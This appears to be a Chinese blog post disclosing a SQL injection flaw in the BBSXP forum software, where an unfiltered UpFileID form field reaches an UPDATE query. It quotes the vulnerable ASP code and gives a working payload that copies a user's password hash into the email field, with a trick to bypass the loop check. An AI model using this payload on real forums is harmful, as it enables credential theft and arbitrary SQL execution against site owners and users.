最近突然有兴趣来看一看bbsxp的代码,填充一下周末无聊的时间。整体上看来代码的安全性和可读性都非常好,但是程序员总是会有疏忽的时候,毕竟我也是一名程序员嘛。在这种情况下我荣幸的发现了这个漏洞,在测试成功之后再看代码的时候却发现这个漏洞却并不仅仅在一个地方出现,明显是代码复制造成的问题。还是先来说一说原理吧,再说废话可能就会有人扔鸡蛋了@^@
打开源文件找到EditPost.asp的第67-72行,NewTopic.asp的第129-134行,ReTopic.asp的第78-83行都会发现这样的几行代码:
|
if Request.Form("UpFileID")<>"" then UpFileID=split(Request.form("UpFileID"),",") for i = 0 to ubound(UpFileID)-1 Conn.execute("update [BBSXP_PostAttachments] set ThreadID="&ThreadID&",Description='"&Subject&"' where id="&UpFileID(i)&" and ThreadID=0") next end if |
在这段代码中明显可以看出没有对UpFileID数组内的数据作任何过滤就直接用在查询语句中去了,对于这样的漏洞来说利用起来最简单不过了。
就以EditPost.asp这个页面为例来说吧。这个页面是用来编辑帖子的,随便找一个版面发表一个帖子之后编辑它,查看源代码能够找到与此类似的一段脚本
|
<form name="yuziform" method="post" onSubmit="return CheckForm(this);"> <input name="content" type="hidden" value='123<img border=0 src=UpFile/UpAttachment/20062891752.gif>'> <input name="UpFileID" type="hidden"> |
其中UpFileID是用来记录这个帖子中已经上传的文件路径消息,并且用逗号分隔。你可能已经知道了,这个功能只有管理员打开文件上传得功能之后才会出现。的确如此,但是你也不用担心,前两年的上传漏洞风波现在已经过去了,大部分管理员已经不再为文件上传功能担忧。现在我在网上看到的使用bbsxp程序的都是打开了这个功能的。
现在再来说一说该怎么利用这个漏洞。在这里还有一个门槛要过去才可以,在asp代码中有这么一句
for i = 0 to ubound(UpFileID)-1
如果你直接在页面中把UpFileID的值修改成一个注入查询语句
<input name="UpFileID" type="hidden" value="’update BBSXP_Users set UserMail=UserPass where UserName='yuzi'--">
还不会被执行,因为这样的话ubound(UpFileID)-1的值始终为0,而不会被循环。所以要使数组UpFileID的元素个数大于1才可以,因此要将这段脚本修改成类似于如下代码:
<input name="UpFileID" type="hidden" value="’update BBSXP_Users set UserMail=UserPass where UserName='yuzi'--,0">
现在就可以成功执行查询语句
update BBSXP_Users set UserMail=UserPass where UserName='yuzi'
了,查看yuzi的个人资料之后发现Email已经变成了16位的md5密文。这样的话我们就可以完成任意SQL语句的执行了——只要有足够的权限。